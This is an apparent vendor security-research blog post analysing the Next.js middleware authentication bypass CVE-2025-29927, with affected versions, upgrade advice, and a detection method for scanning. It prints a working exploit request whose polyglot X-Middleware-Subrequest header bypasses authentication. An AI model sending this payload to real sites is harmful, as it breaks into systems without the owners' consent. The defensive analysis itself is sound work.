Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:
Doing the Due Diligence: Analyzing the Next.js Middleware Bypass (CVE-2025-29927)
March 24, 2025
Doing the Due Diligence: Analyzing the Next.js Middleware Bypass (CVE-2025-29927)
Introduction
Over the last few days, there has been deep unrest in the Next.js ecosystem due to a critical CVE released on the 21st of March CVE-2025-29927 that allows attackers to potentially bypass authentication mechanisms that are implemented at the middleware layer.
Since the release of the CVE, our security research team has noticed an initial wave of incorrect information in terms of reproducing the issue, with initial PoC’s suggesting that the bypass was as simple as using the header x-middleware-subrequest: true
, all the way to ineffective scanning templates that miss the majority of the cases where this is exploitable in the wild.
The original discoverers (zhero & inzo_) wrote an excellent blog post explaining the intricacies of the vulnerability. They explained the potential impacts of exploitation in more detail from their experience in the wild (auth bypass, CSP bypass, DoS via cache poisoning).
At Assetnote, our scanning methodology and techniques are developed to be as accurate as possible. We prioritize identifying all exploitable instances across our customers’ attack surfaces. To do this, we often have to go beyond public resources to understand intelligent and well-thought-out methodologies.
The following Next.js versions are affected by this vulnerability:
- Next.js 15.x < 15.2.3
- Next.js 14.x < 14.2.25
- Next.js 13.x < 13.5.9
We recommend upgrading to the following versions as soon as possible to remediate the vulnerability:
- Next.js 15.2.3 or higher
- Next.js 14.2.25 or higher
- Next.js 13.5.9 or higher
What’s Wrong With The Publicly Disclosed Checks?
When considering how authentication mechanisms are implemented inside middleware, we can commonly expect developers to redirect or rewrite users to return to the authentication flow or login page. From our analysis of externally facing assets, the more common approach is to redirect rather than rewrite.
All publicly disclosed checks we were able to find that discover this vulnerability rely on the application presenting some rewrite logic in order to determine whether or not middleware could be present, before attempting to exploit this vulnerability.
The logic for the checks we have seen in the wild rely on the presence of x-middleware-rewrite
, x-middleware-next
, x-middleware-redirect
inside the response headers. From our testing with various Next.js versions up to 14.2.24, the x-middleware-rewrite
does not exist on a redirect, and x-middleware-next
and x-middleware-redirect
headers are not present on a redirect from the middleware layer.
This leaves a huge gap for applications that utilize redirects instead of rewrites inside their middleware layer.
In addition to the lack of coverage in public checks for this issue covered above, there is also a great risk of false positives caused by the common development paradigm in Next.js applications to perform redirects in the middleware layer for locale-based versions of the pages being requested. By filtering these candidates out of the picture, we were able to squash a majority of false positives from being flagged.
Lastly, public checks made for this issue do not make any effort to reduce the number of requests needed to validate this issue. We were able to cut requests made in half by designing a payload that covers all potential bypass cases inside the x-middleware-subrequest
header, but instead in a single request.
Building a More Reliable Check
To understand whether or not the middleware layer is leading to an HTTP redirect, our team audited the Next.js code and found that there was a straightforward, yet effective way to leak an internal header inside a redirect response from the middleware layer:
if (
!isEdgeRendering &&
isNextDataRequest &&
// if the rewrite is external and external rewrite
// resolving config is enabled don't add this header
// so the upstream app can set it instead
!(
process.env.__NEXT_EXTERNAL_MIDDLEWARE_REWRITE_RESOLVE &&
relativeDestination.match(/http(s)?:\/\//)
)
) {
response.headers.set('x-nextjs-rewrite', relativeDestination)
}
By sending the header x-nextjs-data: 1
in our HTTP request, it was possible to coerce Next.js to respond with an internal header x-nextjs-redirect
, which all publicly disclosed checks do not account for. The x-middleware-redirect
header can often get swallowed, leading to publicly disclosed checks missing many instances of this vulnerability.
For instance, if we have a Next.js application with the following middleware logic:
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
// This function can be marked async if using await inside
export function middleware(request: NextRequest) {
return NextResponse.redirect(new URL('/', request.url))
}
// See "Matching Paths" below to learn more
export const config = {
matcher: '/foo',
}
And we send a HTTP request like so:
curl -v 'http://localhost:3000/foo' -H 'x-nextjs-data: 1'
We can see that the response has the header x-nextjs-rewrite: /
which will not get swallowed:
HTTP/1.1 307 Temporary Redirect
x-nextjs-redirect: /
Date: Mon, 24 Mar 2025 06:09:08 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
We can greatly simplify the exploitation of this issue by using a polyglot that avoids having to send multiple requests. We were able to achieve this with the following HTTP header, used to check for the presence of an authentication bypass:
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
This lets us effectively cover the various potential cases without having to send multiple requests.
The check built for our Attack Surface Management platform includes all of these improvements and also effectively cuts down false positive cases where we see a simple locale based redirect such as /foo
-> /en/foo
, which all publicly disclosed checks also do not account for.
If you want to distil all the knowledge we present into this blog post into a simple scanning methodology, you can use the following HTTP request for your initial request:
GET / HTTP/2
Host: target
Accept-Encoding: gzip, deflate, br
X-Nextjs-Data: 1
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
If the HTTP response is a 307, and contains any non null values for x-nextjs-redirect
, x-middleware-rewrite
or x-nextjs-rewrite
, like so:
HTTP/2 307 Temporary Redirect
Date: Mon, 24 Mar 2025 05:07:41 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
X-Nextjs-Redirect: /login
X-Envoy-Upstream-Service-Time: 10
You can then attempt the exploit payload (with our improved polyglot):
GET / HTTP/2
Host: target
Accept-Encoding: gzip, deflate, br
X-Nextjs-Data: 1
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
With some luck, you will see a HTTP 200 response where all authentication is bypassed due to the exploit payload inside our X-Middleware-Subrequest
header.
Conclusion
Next.js is widely deployed, and its internals can be complex to navigate. In this case, we clearly identified a gap in publicly disclosed research, stemming from the lack of understanding of how middleware is commonly used inside Next.js to enforce authentication.
Our Security Research team continues to perform novel zero-day and N-day security research to ensure maximum coverage and care for our customers’ attack surfaces. We continue to perform deeper Security Research in order to provide our customers with more certainty around the exposure in their attack surface. This is a continuation of our efforts in performing comprehensive due diligence on technologies and software used by our customers.
about Assetnote
Assetnote provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Assetnote customers receive security alerts and mitigations at the same time to disclosure to third-party vendors.
Book your demo: Identify cyber threats earlier– before they impact your business
Enhance your security with advanced automated dark web monitoring and investigation tools
Continuously monitor for threats, including ransomware groups targeting your organization
Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations